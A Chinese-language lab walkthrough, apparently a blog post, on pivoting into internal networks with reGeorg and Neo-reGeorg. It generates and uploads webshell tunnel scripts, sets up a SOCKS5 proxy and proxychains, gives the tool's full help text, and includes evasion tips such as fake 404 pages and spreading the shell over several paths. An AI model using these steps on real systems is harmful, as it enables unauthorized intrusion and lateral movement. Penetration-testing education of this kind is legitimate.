跳板攻击之:reGeorg 代理转发

郑重声明:

本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

1 原理

reGeorg 代理转发是将内网服务器端的数据通过 HTTP/HTTPS 隧道转发到本机,实现基于 HTTP 协议的通信。

2 Neo-reGeorg

  • reGeorg 脚本的特征非常明显,容易被杀毒软件查杀,需要做免杀处理。
  • Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,目的是:
    • 提高 tunnel 连接安全性
    • 提高可用性,避免特征检测
    • 提高传输内容保密性
    • 应对更多的网络环境场景
  • 下载地址:Release Neo-reGeorg v3.8.1 · L-codes/Neo-reGeorg (github.com)

2.1 实验环境

2.2 利用过程

  1. 对外服务器Win10需要有web服务,可使用phpstudy新建一个

  2. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) ,并上传到对外服务器 Win10 WEB服务根目录下,并确保 kali主机可以访问Win10 服务器上的 tunnel.jsp 文件

    # python neoreg.py generate -k acmd
    
        [+] Mkdir a directory: neoreg_servers
    [+] Create neoreg server files:
    => neoreg_servers/tunnel.jspx
    => neoreg_servers/tunnel_compatibility.jspx
    => neoreg_servers/tunnel.aspx
    => neoreg_servers/tunnel.ashx
    => neoreg_servers/tunnel.jsp
    => neoreg_servers/tunnel_compatibility.jsp
    => neoreg_servers/tunnel.php
    • -k:密码
  3. 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理

    # python3 neoreg.py -k acmd -u http://192.168.50.236/tunnel.php
    
    +------------------------------------------------------------------------+
    Log Level set to [ERROR]
    Starting SOCKS5 server [127.0.0.1:1080]
    Tunnel at:
    http://192.168.50.236/tunnel.php
    +------------------------------------------------------------------------+
    • -k:密码,与生成tunnel时的密码要保持一致
  4. 配置 Proxychains

    vim /etc/proxychains4.conf
    socks5 127.0.0.1 1080
  5. 代理访问内网服务器

2.3 Advanced Usage

  1. 支持生成的服务端,默认直接请求响应指定的页面内容 (如伪装的 404 页面)
$ python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
$ python neoreg.py -k <you_password> -u <server_url> --skip
  1. 如服务端 WEB,需要设置代理才能访问
$ python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080
  1. 如需 Authorization 认证和定制的 Header 或 Cookie
$ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
  1. 需要分散请求,可上传到多个路径上,如内存马
$ python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...
  1. 开启内网转发,应对负载均衡
$ python neoreg.py -k <you_password> -u <url> -r <redirect_url>
  1. 使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )
$ python neoreg.py -k <you_password> -u <url> -t <ip:port>
  • 更多关于性能和稳定性的参数设置参考 -h 帮助信息
# 生成服务端脚本
$ python neoreg.py generate -h
usage: neoreg.py [-h] -k KEY [-o DIR] [-f FILE] [-c CODE] [--read-buff Bytes]
[--max-read-size KB] Generate neoreg webshell optional arguments:
-h, --help show this help message and exit
-k KEY, --key KEY Specify connection key.
-o DIR, --outdir DIR Output directory.
-f FILE, --file FILE Camouflage html page file
-c CODE, --httpcode CODE
Specify HTTP response code. When using -r, it is
recommended to <400. (default: 200)
--read-buff Bytes Remote read buffer. (default: 513)
--max-read-size KB Remote max read size. (default: 512) # 连接服务端
$ python neoreg.py -h
usage: neoreg.py [-h] -u URI [-r URL] [-t IP:PORT] -k KEY [-l IP] [-p PORT]
[-s] [-H LINE] [-c LINE] [-x LINE] [--php-connect-timeout S]
[--local-dns] [--read-buff KB] [--read-interval MS]
[--write-interval MS] [--max-threads N] [--cut-left N]
[--cut-right N] [-v] Socks server for Neoreg HTTP(s) tunneller. DEBUG MODE: -k
(debug_all|debug_base64|debug_headers_key|debug_headers_values) optional arguments:
-h, --help show this help message and exit
-u URI, --url URI The url containing the tunnel script
-r URL, --redirect-url URL
Intranet forwarding the designated server (only
jsp(x))
-t IP:PORT, --target IP:PORT
Network forwarding Target, After setting this
parameter, port forwarding will be enabled
-k KEY, --key KEY Specify connection key
-l IP, --listen-on IP
The default listening address.(default: 127.0.0.1)
-p PORT, --listen-port PORT
The default listening port.(default: 1080)
-s, --skip Skip usability testing
-H LINE, --header LINE
Pass custom header LINE to server
-c LINE, --cookie LINE
Custom init cookies
-x LINE, --proxy LINE
Proto://host[:port] Use proxy on given port
--php-connect-timeout S
PHP connect timeout.(default: 0.5)
--local-dns Use local resolution DNS
--read-buff KB Local read buffer, max data to be sent per
POST.(default: 7, max: 50)
--read-interval MS Read data interval in milliseconds.(default: 300)
--write-interval MS Write data interval in milliseconds.(default: 200)
--max-threads N Proxy max threads.(default: 1000)
--cut-left N Truncate the left side of the response body
--cut-right N Truncate the right side of the response body
--extract EXPR Manually extract BODY content. (eg: <html><p>REGBODY</p></html> )
-v Increase verbosity level (use -vv or more for greater
effect)

2.4 Remind

  • Mac OSX 上运行 neoreg.py 时,高并发请求会出现网络丢包情况,可通过 ulimit -n 2560 修改当前 shell 的 "最大文件打开数"

  • Tomcat5 等 jdk 低版本情况,用 tunnel_compatibility.jsp(x) 即可

3 reGeorg 代理转发

3.1 实验环境

3.2 利用过程

  1. 将脚本文件上传到Win2012服务器中,并确保 evil 主机可以访问Win2012服务器上的 tunnel.jsp 文件

  2. 在 evil 主机上,利用 reGeorgSocksProxy.py 脚本监听本地的 4444 端口,即可建立代理通信。

    python reGeorgSocksProxy.py -u http://192.168.0.21/regeorg/tunnel.aspx -p 4444

  3. 配置 Proxychains

    vim /etc/proxychains4.conf
    socks5 127.0.0.1 4444
  4. 代理访问 bulldog

跳板攻击之:reGeorg 代理转发的更多相关文章

  1. ssh代理转发

    实验环境 serverA:172.16.2.116 serverB:172.16.2.225 serverC:172.16.2.115 "代理转发"是针对ssh认证过程的一种转发 ...

  2. curl运行json串,代理转发格式

    curl -b 'uin=o0450654733; skey=@tq9xjRvYy' -H "Content-Type: application/json" -X POST -d ...

  3. windows下使用密钥登录Linux及xshell代理转发

    1.密钥登录原理 一般我们使用xshell访问远程主机(Linux主机)时,都是先请管理员给我们开一个账户,即为我们设置一个一个用户名和对应的密码,然后我们就可以使用下面的方式登录到远程主机了: 在这 ...

  4. IIS充当代理转发请求到Kestrel

    接着上篇博文为ASP.NetCore程序启用SSL的code,这篇将介绍如何用IIS充当反向代理的角色转发请求到Kestrel服务器 与ASP.NET不同,ASP.netCore使用的是自托管web服 ...

  5. Nginx代理转发Apache+svn

    1.安装svn和httpd yum install httpd yum install subversion mod_dav_svn 创建仓库目录 mkdir -p /var/www/svn 3.创建 ...

  6. nginx反向代理转发后页面上的js css文件无法加载【原创】

    故障现象:nginx做代理转发后,发现页面上的js css文件无法加载,页面样式乱了. 原因:没有配置静态资源 解决js css文件无法加载无法访问的问题 解决办法: 修改配置文件nginx.conf ...

  7. Docker Kubernetes hostPort 代理转发

    Docker Kubernetes  hostPort 代理转发 hostPort: 1. 类似docker -p 映射宿主级端口到容器. 2. 容器所在的主机暴露端口转发到指定容器中. 3. hos ...

  8. IIS充当反向代理转发请求到Kestrel

    接着上篇博文为ASP.NetCore程序启用SSL的code,这篇将介绍如何用IIS充当反向代理的角色转发请求到Kestrel服务器 介绍 与ASP.NET不同,ASP.netCore使用的是自托管w ...

  9. iis和apache共用80端口,IIS代理转发apache

    为什么共用80端口应该不用多说了,服务器上程序运行环境有很多套,都想抢用80端口,所以就有了共用80端口的解决方案. 网上很多的教程一般都是设置APACHE使用默认80端口,代理转发IIS的网站,II ...

  10. (转)基于live555的流媒体代理转发服务器

    对于并发量并不大而且对性能要求不是很高的流媒体传输模块,live555还是很好的选择,下面说一下我所实现的流媒体代理服务器(目前只能实现对H264单视频的转发)代理转发主要 对于并发量并不大而且对性能 ...

随机推荐

  1. 动手实验查看MySQL索引的B+树的高度

    一:文中几个概念 h:统称索引的高度: h1:主键索引的高度: h2:辅助索引的高度: k:非叶子节点扇区个数. 二:索引结构 叶子节点其实是双向链表,而叶子节点内的行数据是单向链表,该图未体现. 磁 ...

  2. JavaScript:代码细节和良好编码习惯

    这些细节,与语法无关,仅仅是编写代码时需要注意的最最基本的细节和一些良好编码习惯. 注释代码 注释代码分为单行注释和多行注释,如下所示: 严格区分大小写 JS的代码时严格区分大小写的,变量a和A是不同 ...

  3. 基于SqlSugar的开发框架循序渐进介绍(23)-- Winform端管理系统中平滑增加对Web API对接的需求

    在前面随笔介绍的基于SqlSugar的WInform端管理系统中,数据提供者是直接访问数据库的方式,不过窗体界面调用数据接口获取数据的时候,我们传递的是标准的接口,因此可扩展性比较好.我曾经在随笔&l ...

  4. MongoDB从入门到实战之Docker快速安装MongoDB

    前言 在上一篇文章中带领带同学们快速入门MongoDB这个文档型的NoSQL数据库,让大家快速的了解了MongoDB的基本概念.这一章开始我们就开始实战篇教程,为了快速把MongoDB使用起来我将会把 ...

  5. RedisTemplate设置redis的key时出现\xac\xed\x00\x05t\x00\x0f前缀

    1.问题描述 使用redisTemplate设置redis的key-value,程序运行没有问题,但是却在redis客户端查不到设置的key-value. 2.产生原因 出现这种乱码前缀的原因是没有进 ...

  6. @LoadBalanced注解原理

    在使用springcloud ribbon客户端负载均衡的时候,可以给RestTemplate bean 加一个@LoadBalanced注解,就能让这个RestTemplate在请求时拥有客户端负载 ...

  7. JAVA中使用最广泛的本地缓存?Ehcache的自信从何而来2 —— Ehcache的各种项目集成与使用初体验

    大家好,又见面了. 本文是笔者作为掘金技术社区签约作者的身份输出的缓存专栏系列内容,将会通过系列专题,讲清楚缓存的方方面面.如果感兴趣,欢迎关注以获取后续更新. 在上一篇文章<JAVA中使用最广 ...

  8. (转载)零日攻击(Zero-Day Attacks)

    零日攻击是网络安全行业中十分常见的攻击方式之一,其具有很大的突发性与破坏性,那么零日攻击是什么?如何防范零日攻击?以下是详细的内容介绍. 零日攻击是什么? 零日漏洞或零时差漏洞通常是指还没有补丁的安全 ...

  9. 洛谷P2036 PERKET题解

    先来审题,主要有以下几个条件: 酸度求乘积,苦度求和,两者相减的值最小(当然是绝对值). 下面附上AC代码: #include<bits/stdc++.h> //万能头文件 using n ...

  10. 在Mac OS上将Node.js连接到XAMPP MySQL服务器一直报错error connecting: Error: connect ECONNREFUSED

    以下為通過node.js連線本機mysql資料庫的方法: var mysql = require('mysql'); var connection = mysql.createConnection({ ...